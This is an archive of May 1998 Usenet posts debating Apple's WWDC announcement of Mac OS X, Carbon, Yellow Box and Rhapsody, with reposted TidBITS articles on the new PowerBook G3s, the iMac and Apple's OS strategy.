> - Rhapsody will be "superceded" by MacOS X. Not complemented by.
> Superceded by. MacOS *8* will be complemented by MacOS X.
Rhapsody will cease to exist as a separate product. It's a matter of
whether MacOS X will offer what Rhapsody does.
> - MacOS X will have a "subset" of the Yellow Box APIS
I don't think so.
> - MacOS X will use QuickDraw as its drawing language (hence the "subset")
Why would it be any different than Yellow Box on Windows, where a DPS
server draws into the Yellow windows raw?
(By the way, I'm not happy over this. Having a separate window
server -- DPS or not -- is a superior techncial solution.. automatic
double-buffering with optimized, compressed backing store.. no paging
in an app to refresh its windows, interesting optimization potential
on SMP hardware, etc. Would it have been technically infeasible to
map Quickdraw onto the DPS server and get those advantages plus the
advantages of Display PostScript?)
> - If you "carbonize" your code, it's compatible with MacOS X. But existing
> Yellow Box apps aren't necessarily compatible, especially if they rely on
> Display PostScript.
What leads you to believe this?
> - MacOS X will not be UNIX
It may not have it by default, but it may have it at least as an optional
install package or something. We have yet to see. (I'm not using it
without Unix, though.)
> This announcement practically guarantees that no one will develop for the
> Yellow Box.
I think that's rather premature, especially given Apple's statements
about Rhapsody's "advanced development environment" being important to
Mac OS X's future, and the number of Yellow-related sessions at WWDC.
> Being in Japan right now, I don't read USENET so much. Respond by mail if yo
> want to get ahold of me.
Cc'ed to poster.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 00:08:59 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j8i0r$aq$1@crib.bevc.blacksburg.va.us>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com>
In article <MPG.fc18109c8dbd1a19896ae@news.supernews.com>, don.brown@cesoft.com (Donald Brown) wrote:
> It is much harder to justify 2 years, or even 6 months, to rewrite our
> apps for Rhapsody. We will then have two completely separate code bases
Why? Yellow on MacOS.
Of course, I understand not wanting to spend the time to rewrite an
existing app for Yellow, Yellow only makes sense for new apps. But I
don't see a need to have to maintain two code bases, unless Apple ditches
Yellow on MacOS. I guess I can understand not wanting to commit to that
unless they announce a ship date.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Mon, 11 May 1998 23:03:23 -0500
Organization: Prairie Group
Message-ID: <MPG.fc18603ab61a8e79896b1@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com> <MPG.fc155c57791d10b9896a5@news.supernews.com> <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com>
In article <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com>,
rriley@yahoo.com says...
> > >
> > > Images of STAC Electronics jump into my mind... sure, Big Guy :-)
> >
> > Didn't STAC eventually win?
> >
> >
>
> Something like 6 years later and decimating Stac's Business Plan in the
> interim. The hand slap to Microsoft was $ 120 million, I think...
$120 million ain't hay, but I see what you mean.
> > And, again--Gates can rip me off. Clinton and Reno can toss me in jail.
> > I'll go up against Gates, thank you very much.
> >
>
> Sad...
What's sad? You find something unusual that I'd rather compete at a
disadvantage, than not compete from a jail cell?
> > > This isn't 1984 and the introduction of the Mac here. Most of the wired World
> > > is invested in MS technologies. Without a Mr. Bill plan and no collaboration
> > > in the public sector, you must have one hell of an invention. Say does your
> > > invention have anything to do with "Viagra"? :-)
> >
> > Nope. Right now, my invention is a very simple Intranet instant
> > messaging program (http://www.prgrsoft.com, since you asked <grin>).
> > I've got other ideas in the pipeline too.
>
> That lil' baby could grow leggs :)
We sure hope so!
> > I'm not really planning on going against the MS technologies, because
> > I've got nothing better to offer. If I did, I would, but I don't. I've
> > got other good things to offer.
>
> I thought you had something new to offer in the way of protocol. I thought it
> would appeal to MS product users.
I do. I have new protocols that do new things, not new protocols that do
the same thing Microsoft does.
There will be some overlap, but I can provide a different solution that
better meets some of the same needs.
THAT'S where my freedom of codespeak is unlimited.
> >
> > Gates has incredible power...until he starts using it.
> >
>
> Now there's a Gem... that one's a _keeper-.
Thanks! I came up with that one a year ago when people were talking
about Gates using Windows to somehow force political results, and if he
did, he'd find that power taken away from him very quickly. Never had
the chance to use it, so I've been saving it ever since <grin>.
Donald
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: MacOS X better?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <VUP51.1539$sy4.3080935@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 04:06:13 GMT
NNTP-Posting-Date: Mon, 11 May 1998 21:06:13 PDT
Organization: @Home Network
"X" stands for "10 "... unless a technology offers 10x times performance
advantage over existing products, marketshares will not change in high
technology. Steve's BlueBox a tested yawner, this is the next technology
horizon.
...yawn
-r
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 12 May 1998 04:19:39 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lfjer.l9u.sal@panix3.panix.com>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com> <rmcassid-1105981604220001@dante.eng.uci.edu>
On Mon, 11 May 1998 16:04:22 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>We have a theory that Steve decided it was better to piss off the
>Rhapsody/YellowBox people and satisfy them by Friday through other
>sessions than to piss off MacOS people and have them leave and not attend
>the sessions at all as happened last year with the Rhapsody replacing
>MacOS stuff.
That sounds like the RDF meter was tuned up to eleven.
>Basically Steve was as accomodating to the MacOS guys as possible,
>promising all the goodies for their Mac apps with only a bit of a rewrite,
>while also being so horribly vague that you couldn't really say that he
>killed MacOS/Rhapsody/YB/etc.
Renameing Rhapsody MacOS X is a good idea. Years ago I suggested that IBM
rename OS/2 to Dos 6. You want people to think that they are "upgrading"
and not "migrating"
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 19:25:52 -0700
Message-ID: <see-below-1105981925520001@209.24.240.244>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3>
In article <rex-1105981539090001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> In article <35573831.69E8CDC6@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> :Yea, I'm looking for better clarification on CARBON vs YellowBox.
>
> I think it's pretty obvious from the press release that Carbon is going
> to be the current Mac Toolbox with certain problem areas, most likely
> Quickdraw, the Window, Dialog, etc. managers significantly altered or
> replaced altogether. This is separate from the Yellow Box, and sounds
> somewhat like what the Latitude libraries provided.
> Something like Latitude floating on top of a new display manager and
> kernel would probably address the needs of 90% of Mac developers. At some
> point, Yellow Box apps will probably be able to work along side of Mac OS
> X apps. But, it's my guess that they'll be an optional framework for years
> to come.
>
> One could argue that if you take those things away, that you don't
> really have 'unix' anymore.
>
> :The plan HAS changed from the inital NeXT purchase.
>
> Yep, they've gone back to a Copland-like plan of fixing the Mac
> Toolbox. I have to say that I sort of expected this, the only people for
> which rapid transition to the Yellow Box APIs made good business sense
> were OpenStep developers. Everyone else had a ton of work to do.
I agree. I think the writing has been on the wall for quite some time that
Yellow Box wasn't being pushed/adopted in the way it would need to be for
Apple to seriously pursue it as the future of the Mac.
I do still hope YB can become important. I'd like to see it tied more with
Java, and sold (by Sun and Apple jointly) as a "Java stage 2" or
something, to finally provide true cross-platform compatibility for rich,
powerful applications. (To really work, they'd need to provide YB for more
platforms, mainly the most common unix variants.)
Then, when it has strong developer support and sufficient applications for
users to accept it as a platform in and of itself, it can become the
"core" API of a successful OS (and would be admirably positioned for
set-top boxes and the like).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 22:23:04 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j8bq8$vv2$1@crib.bevc.blacksburg.va.us>
References: <B17C8D50-7E886@206.165.43.134> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <3557A58F.41815B27@netscape.com>
In article <3557A58F.41815B27@netscape.com>, pinkerton@netscape.com wrote:
> So they port carbon to other platforms....did it once already (star trek), why
> is that so bad? Now we have an api everyone already knows (carbon) and it's on
> multiple platforms. Why yellowbox now?
Because Yellow Box is a far better API. The "why would anyone switch
from an environment they know" argument doesn't seem to hold much water
when you watch people jumping from their current environments to Java..
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 19:31:11 -0700
Message-ID: <see-below-1105981931110001@209.24.240.244>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com>
In article <ufemy0gz3l.fsf@ftp.ardi.com>, ctm@ardi.com (Clifford T.
Matthews) wrote:
> >>>>> "Mark" == M Rassbach <mark@milestonerdl.com> writes:
>
> Mark> And, if YellowBox is to be de-emphized, and later scrapped,
> Mark> developers don't have an easy migration path OFF of Apple
> Mark> hardware...like yellowbox can now offer.
>
> Ding.
But this is a dangerous gamble. Mac developers _are already_ developing
Windows applications, even without such a migration path. Yellow Box would
at least ensure that the resulting applications will still run on Macs. If
they switch over to Windows itself, that doesn't necessarily happen. And
even if they produce both versions for a while, many end up dropping the
Mac versions when it becomes a small enough part of their business.
Still, I agree that moving developers wholesale over to a new
cross-platform API (with the full OS also available on both platforms) is
even more dangerous due to the risk of customers abandoning Apple
hardware, if they consider the OS to be the important part.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 22:24:40 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j8bt8$vvl$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu> <B17CCC79-3D130@206.165.43.153> <6j86ek$336$1@vixen.cso.uiuc.edu>
In article <6j86ek$336$1@vixen.cso.uiuc.edu>, gcheng@uni.uiuc.edu (Guanyao Cheng) wrote:
> Mac OS X is just a renamed Rhapsody w/ Carbon API's from what I gleamed,
> and Rhapsody has a blue box, so why wouldn't MacOS X have a blue box?
Actually, Mac OS X is looking a lot more like "Blue Box on Mach while
ditching some of the old MacOS stuff" than Rhapsody w/ Carbon API's.
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <nagleEsto5z.E8C@netcom.com>
Organization: Netcom On-Line Services
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
Date: Tue, 12 May 1998 02:27:35 GMT
Sender: nagle@netcom6.netcom.com
>Lawson English wrote:
>> So that's it?
>>
>> Factor out all the "bad" system/toolbox calls, add a few new ones, provide
>> tools to make support for MacOS 10 (a skip of 9 saves time?), and
>> everything is good?
>>
>> Rhapsody is now just a framework (I gather) to make developing for MacOS
>> better?
>>
Sigh. This is yet another Apple announcement of the form
"In a year or two, the OS API will be substantially different. But
right now, the new version isn't available".
We've heard this before:
Workplace OS
Pink
Taligent
Bedrock
Copland
Rhapsody
I think the appropriate developer reaction is "when you ship this new OS
to customers, let us know, and we'll consider porting our product."
John Nagle
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 19:35:44 -0700
Message-ID: <see-below-1105981935440001@209.24.240.244>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <35574B32.2D3298EB@milestonerdl.com> <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> I'm not too sure of that. If Mac OS apps are to be able to take advantage
> of preemptive multitasking and protected memory with demand-paged virtual
> memory, something _will_ break. There is no getting around it with the
> current Mac OS architecture.
I wonder if they will also provide the Blue Box, to run older Mac
applications under that virtual machine (and even emulation)? Perhaps it
would be an extra piece of software, but since it already exists, I don't
see why it couldn't be used if needed for compatibility's sake.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 11 May 1998 19:21:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6j8bmd$t6n@nntp02.primenet.com>
References: <ericb-1105981718430001@132.236.171.104>
Eric Bennett <ericb@pobox.com> wrote:
: BTW, kudos to George for being *almost* as correct on Rhapsody as he was
: with Copland. Sigh.
Don't I get credit for calling it in August of '97?
----- quote -----
Subject: Next 100,000,000 times better than Linux?
From: John Jensen <jjens@primenet.com>
Date: 1997/08/23
Message-ID: <5tn3bs$j6m@nntp02.primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
The Openstep OS provides a much better user experience than current
Linuxes, and a much better development environment than current Linuxes.
If Apple/Next had just cut the price and cranked up production of Openstep
I would have been pretty impressed.
If Apple/Next had said "we believe in Openstep", and done a straight port
to Apple hardware (no GUI changes) and cranked up production I would have
been impressed.
But, if Apple just plans on using Openstep as a codebase: first for a
Rhapsody server, and then for some fuzzy next generation system, I'm not
impressed.
Openstep as a product, ready to ship, might have been worth a lot of
money.
As a UNIX codebase, it doesn't make sense. You can buy full source code
and distribution rights to Debian Linux 1.3.1 for $3.95(1). By my math
that's 100,000,000 times cheaper than the Next pruchase. Is Linux
100,000,000 times worse? I don't think so.
Feeling crabby, but not crabby enough to cross-post outside mac/next,
John
(1) www.debian.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <nagleEsty4x.1Dz@netcom.com>
Organization: Netcom On-Line Services
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100>
Date: Tue, 12 May 1998 06:02:57 GMT
Sender: nagle@netcom6.netcom.com
nhughes@sunflower.com (Nathan Hughes) writes:
>Ok, boys you know the new words... start chanting.
>Seriously though, has anyone here noticed that apple seems to announce
>a "revolutionary" new OS about every 18 months? there is a word for
>that... Vapor.
Yeah. And NONE of them have ever shipped to customers.
The list:
Workplace OS
Bedrock
Taligent
Pink
Copland
Rhapsody
John Nagle
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: TidBITS#429/11-May-98 4
Date: Tue, 12 May 98 01:39:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EEF063.09B600712A.uuout@relaynet.org>
Jobs Outlines Mac OS Strategy at WWDC
-------------------------------------
by Geoff Duncan <geoff@tidbits.com>
During his keynote at Apple's World Wide Developers Conference
(WWDC) today, Steve Jobs announced future directions for key
Macintosh software technologies, including QuickTime, Java, and
the Mac OS.
**QuickTime** -- The first software demonstration featured long-
time QuickTime architect Peter Hoddie showing QuickTime streaming
technology using the RTP (Real Time Protocol) standard. While
Steve Jobs mugged for a video camera connected to an on-stage
Macintosh, Peter showed how an existing QuickTime-capable
application on another machine can receive and display a live
video stream without any changes to the application. Anyone who's
used Real Network's Real Player knows that bandwidth requirements
can make streaming media impractical over the Internet, but
QuickTime's established presence may help it challenge Real
Networks and Microsoft's "universal player" as a way to provide
online, real-time media. Apple expects to ship QuickTime's
streaming technology in the third quarter of this year.
**Java** -- Jobs also promised that Apple will deliver a unified
Java virtual machine (VM) for the Mac OS in a similar time frame.
This Java VM will be compatible with Microsoft's Java
implementation and support version 1.1.6 of Sun's Java Development
Kit (JDK) plus "Swing," a set of interface tools that enable Java
programs to use platform-specific interfaces. Jobs also pledged
that Apple's unified Java VM will deliver substantially enhanced
performance, such that a 300 MHz G3 system would compare favorably
with a 400 MHz Pentium system. Such improvements would be welcome:
Macintosh Java implementations currently run as much as four to
five times slower than on comparable PCs.
<http://www.apple.com/macos/java/>
**Mac OS 8 & Rhapsody** -- Most significantly, Jobs's WWDC keynote
address outlined a major shift in Apple's operating system
strategy, culminating in Mac OS X (Mac OS "Ten").
For the past year, Apple has promoted a two-tiered operating
system strategy. The first tier consisted of the existing Mac OS,
with releases continuing until early in the next century. The
second tier was built on Rhapsody, a modern operating system built
on technologies Apple acquired from NeXT and featuring protected
memory, preemptive multitasking, fast network and file system
performance, and much more. Rhapsody would include a "Blue Box,"
essentially a single application that would boot the Mac OS and
let users run Mac OS programs, though without Rhapsody's benefits
and advanced features. Gradually, Rhapsody would replace the Mac
OS entirely. (See our report on last year's WWDC for details on
Rhapsody and the Blue Box.)
<http://db.tidbits.com/getbits.acgi?tbart=02179>
The major problem with Rhapsody - as many developers have pointed
out - is that applications must be rewritten to take advantage of
Rhapsody's desirable features. Existing Mac OS applications
wouldn't receive any of these benefits, and many developers would
be in a situation of having to maintain multiple code bases to
deploy their programs for both the Mac OS and Rhapsody.
From Apple's perspective, another problem with Rhapsody is that
it's _not_ the Mac OS. The Mac OS currently boasts 22 million
users (and Apple claims another 20 million or so have access to
it), plus more than 12,000 applications. In contrast, Rhapsody has
essentially no applications and no users. Further, the Mac OS is a
major source of revenue for Apple - sales of Mac OS 8 and 8.1
exceeded even Apple's expectations, so clearly users like the Mac
OS, like their Mac OS applications, and want more. Instead of
looking at the Mac OS as something to replace, Apple needed to
consider the Mac OS, in Jobs's words, the "crown jewel" of its
software strategy. And instead of looking at Mac OS applications
as something to be run inside a "box," Apple needed to find a way
to make existing Mac OS applications first-class citizens under a
new, modern operating system.
**Carbon** -- Apple began to examine the more than 8,000 APIs
(Application Programming Interfaces - hooks and services in an
operating system upon which applications rely) in the Mac OS to
see which could be supported directly under Rhapsody. Apple found
that about 6,000 of the Mac OS APIs could be supported, while
roughly 2,000 (including some older, little-used portions) could
not. Then, Apple looked at 100 current Macintosh applications to
see how often they used the 2,000 unsupportable APIs. On average,
they found that 90 percent of the API calls these programs made to
the Mac OS could be supported directly under Rhapsody. If these
applications could rewrite (or "tune up") the ten percent of their
API calls that would no longer be supported, those Mac OS
applications could gain all the benefits of Rhapsody. Furthermore,
developers could preserve most of their code - and most of their
Mac OS programming experience - and gain all of Rhapsody's
benefits.
Apple collected the supportable APIs - plus some new services -
into a core package called Carbon ("upon which all living things
are based"), and showed it privately to key developers including
Adobe, Microsoft, and Macromedia. Their response was apparently
very positive, and Adobe demonstrated a preliminary port of
Photoshop 5.0 running on top of Carbon that a few engineers
produced (with some help from Apple) in a little over a week -
with time out for barbecues, visiting relatives, and shipping the
final version of Photoshop 5.0. Apple has also assembled a
preliminary specification for Carbon for developers at WWDC, along
with a "Carbon Dater" utility that will help developers assess the
porting requirements of their particular applications.
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: TidBITS#429/11-May-98 3
Date: Tue, 12 May 98 01:39:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EEF063.09B6007129.uuout@relaynet.org>
Apple Hardware Strategy: Alluring PowerBooks and iMac
-----------------------------------------------------
by TidBITS Staff <editors@tidbits.com>
Steve Jobs breathed fire into the Macintosh world last week by
announcing new computers that have enthralled Mac users and press
alike. The first announcement concerned the new PowerBooks G3
series (not to be confused with the short-lived PowerBook G3 that
shared the 3400's frame), whose rumored features and form factor
tantalized Mac aficionados for months. The other announcement
caught everyone by surprise: the iMac, a stylish all-in-one
Internet computer shrouded in secrecy for ten months, heralds
Apple's return to the consumer marketplace.
The new PowerBook G3 and the iMac fill two of the four slots in
Apple's new hardware strategy. Apple plans to sell desktop and
portable entries for the consumer and professional markets. The
Power Mac G3s and the PowerBook G3s satisfy those slots for the
professional market, and the iMac fills the slot for consumers
wanting a desktop machine. The remaining slot is waiting for a
portable Mac aimed at consumers, and at WWDC today Jobs hinted
that Apple would fill it in 1999 with a computer based on the
now-defunct eMate.
**The Sleek Shall Inherit the Earth** -- Volkswagen is advertising
its new Beetle as being reverse-engineered from UFOs, but it may
have to give up that claim in the face of Apple's new PowerBook G3
line. The sleek portables are available in a variety of prices and
configurations from Apple's online store and online vendors such
as TidBITS sponsors Cyberian Outpost and Small Dog Electronics
(see the sponsors area at the top of the issue for details). These
PowerBooks are the speediest the company has produced, featuring
PowerPC 750 processors at 250 MHz and 292 MHz, and a 233 MHz
PowerPC 740 chip (the 740 lacks the Level 2 backside cache of the
750, which lowers both performance and price). Buyers can choose
from three displays: a 12.1-inch passive matrix screen capable of
displaying thousands of colors, and active-matrix screens
measuring 13.3 inches and 14.1 inches (diagonal) that display
millions of colors; external monitors of up to 20 inches can also
display millions of colors, though video mirroring is
unfortunately the only multi-screen option.
<http://www.vw.com/cars/newbeetle/>
<http://www.apple.com/powerbook/>
The new PowerBook G3 series also features an S-Video out port on
models with the two larger displays, built-in 10Base-T Ethernet,
two expansion bays that can hold a floppy drive, a battery (or two
batteries using both bays), and a CD-ROM or DVD-ROM drive. (The
floppy drive is offered as optional equipment on the least
expensive models.) Another major change is the keyboard: a new
Function key (marked "fn") makes the full range of 105 keys
available, and the arrow keys are now placed in an inverted-T
layout as on the PowerBook 2400. The new machines also sport a few
surprises, such as full support for hot-swapping ADB devices (long
a source of Macintosh voodoo that could possibly fry important
internal components).
<http://gemma.apple.com/techpubs/hardware/Developer_Notes/
Macintosh_CPUs-PPC_Portable/PowerBookG3Series.pdf>
Apple has packaged this overall boost in features and power in a
curvaceous case design: although the width and length are slightly
larger than the 3400 (but still weighing the same 7.7 pounds), the
unit is only two inches high when closed. Unfortunately, the G3
series has lost its feet; like the PowerBook 1400, the back cannot
be raised to provide a slanted keyboard surface. Still, the new
PowerBooks are, we dare say, rather sexy in a field of flat
rectangles.
<http://www.apple.com/powerbook/specifications.html>
**Welcome, iMac!** Steve Jobs last week also presented what is in
many ways the first interesting new Macintosh in quite some time,
the consumer- and Internet-oriented iMac. What's fascinating about
the iMac is its combination of hardware features, low price, and
unique translucent industrial design. The iMac features a 233 MHz
PowerPC G3 processor with a 66 MHz bus, 512K of backside level 2
cache, 32 MB RAM (expandable to 128 MB), 4 GB IDE hard disk, 24x
CD-ROM, built-in 15-inch monitor capable of 1024 by 768 pixels of
resolution, built-in 10/100Base-T Ethernet, built-in 33.6 Kbps
modem, two 12 Mbps Universal Serial Bus (USB) ports, 4 Mbps
infrared port (IrDA), built-in stereo speakers, Apple USB
keyboard, and an Apple USB mouse. Not mentioned were a floppy
drive, SCSI port, LocalTalk port, ADB port, or PCI slots. The
price is slated to be $1,299 when the iMac ships in August.
Bundled software includes at least Mac OS 8.1, Quicken 98 Deluxe,
AppleWorks (previously ClarisWorks), FileMaker Pro, and Microsoft
Internet Explorer 4, although Jobs indicated that more might be
added, especially games.
<http://www.apple.com/imac/>
<http://www.apple.com/pr/photos/iMac/iMacphotos.html>
The lack of a SCSI port, LocalTalk port, and floppy drive has
prompted some discussion on TidBITS Talk about how one would back
up an iMac. Network-based backup is of course a possibility for
those on networks, and a few Internet-based backup services could
conceivably work for small amounts of important data. However,
real backup and file transfer will have to come in the form of new
devices that use the iMac's Universal Serial Bus (USB) connectors.
For storage devices, 12 Mbps is plenty of throughput, and Imation
and Panasonic have already announced a USB-based SuperDisk, which
supports 1.4 MB and 720K floppy disks, plus proprietary 120 MB
disks. It's not hard to imagine Iomega and SyQuest adding USB
versions of their popular removable drives as well.
<http://www.imation.com/cgi-shl/imation/pr/getrelease.pl?375+05/
11/1998+superdisk>
We've seen too few interesting industrial designs of late, though
the 20th Anniversary Mac was a breath of fresh air. The new iMac
resembles no other machine and appears to presage a new attitude
from Apple toward the price and image conscious consumer market.
It's cheap, it's neat, and it's designed to connect to the
Internet from the start. No word yet on whether buyers can order
different-colored translucent cases, but Jobs's reference to the
importance of Macintosh "fashion" at this week's World Wide
Developer Conference would suggest possible options to avoid
clashing with one's surroundings. We reserve the right to change
our minds once we use one, but the iMac currently looks like a
winner.
<http://db.tidbits.com/getbits.acgi?tbart=02216>
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: TidBITS#429/11-May-98 5
Date: Tue, 12 May 98 01:39:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EEF063.09B600712B.uuout@relaynet.org>
**Mac OS X** -- According to Jobs, Carbon will be a key component
of Mac OS X, the unification of the Mac OS and Rhapsody. Mac OS X
will be fully PowerPC-native and will offer Rhapsody's advanced
features, all presumably based on NeXT technologies and running on
top of the Mach kernel. However, Mac OS X will also let Mac OS
applications written to the Carbon APIs be first-class citizens,
gaining all the benefits of Mac OS X. Further, Apple plans to ship
Carbon as an add-on for Mac OS 8 systems, so applications written
(or re-written) to the Carbon API will also function under current
versions of the Mac OS. Jobs also said that most Mac OS
applications that aren't revised for the Carbon API should still
run under Mac OS X, although they won't be able to take advantage
of the operating system's new features. (It's unclear if this
means they'd be running inside a Blue Box .)
Apple plans to begin seeding Mac OS X to developers early in 1999,
with a final release in the third quarter of 1999 optimized for
G3-class systems. In the meantime, Apple plans to ship Mac OS 8.5
in September, and Mac OS 8.6 in the first quarter of 1999.
Rhapsody will also be released before Mac OS X, and will serve as
a transition to Mac OS X. Rhapsody DR2 is available now (and was
distributed to developers at WWDC); Apple says it plans to ship
Rhapsody 1.0 later this year.
**Unanswered Questions** -- With Mac OS X, Apple has promised the
Holy Grail of Macintosh computing: the best features of an
advanced operating system with a high degree of compatibility for
current applications. It's never been done before: not by NeXT,
not by Be, and certainly not by Apple. Apple's stated plans for
Carbon and Mac OS X seem promising, and if reactions of developers
at the Seattle viewing of the WWDC keynote satellite feed are any
indication, developers prefer the idea of revising their
applications for Mac OS X to rewriting them for Rhapsody. However,
it's worth noting that not all programs will have Carbon support
90 percent of the Mac OS APIs they use. Some applications -
particularly extensions, utilities, and low-level tools - may make
more extensive use of the areas of the Mac OS that Carbon cannot
support.. Admittedly, some of these utilities might be pointless
under Mac OS X, but others might be crucial to many Mac OS users.
Apple released preliminary developer information about Carbon
today, although I haven't had a chance to go over it in any
detail. I hope that Apple will solicit feedback from Mac OS
developers and work with them to further clarify the Mac OS X
architecture.
<http://developer.apple.com/macosx/>
$$
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-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: TidBITS#429/11-May-98 1
Date: Tue, 12 May 98 01:39:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EEF063.09B6007127.uuout@relaynet.org>
TidBITS#429/11-May-98
=====================
Jobs has spoken, and we bring you Apple's new hardware and
software strategies. For hardware, think new PowerBook G3s and the
extremely slick iMac, and for software, contemplate Mac OS X.
Also, Adam reviews InformINIT and passes on final words about
multiple monitors. News includes the reincarnation of Claris
Organizer, new Apple Stores, the retirement of Disinfectant, and
the reappearance of Quicken for the Macintosh.
Topics:
MailBITS/11-May-98
The Final Word on Multiple Monitors
InformINIT: Your Personal Macintosh Informant
Apple Hardware Strategy: Alluring PowerBooks and iMac
Jobs Outlines Mac OS Strategy at WWDC
<http://www.tidbits.com/tb-issues/TidBITS-429.html>
<ftp://ftp.tidbits.com/pub/tidbits/issues/1998/TidBITS#429_11-May-98.etx>
Copyright 1998 TidBITS Electronic Publishing. All rights reserved.
Information: <info@tidbits.com> Comments: <editors@tidbits.com>
---------------------------------------------------------------
This issue of TidBITS sponsored in part by:
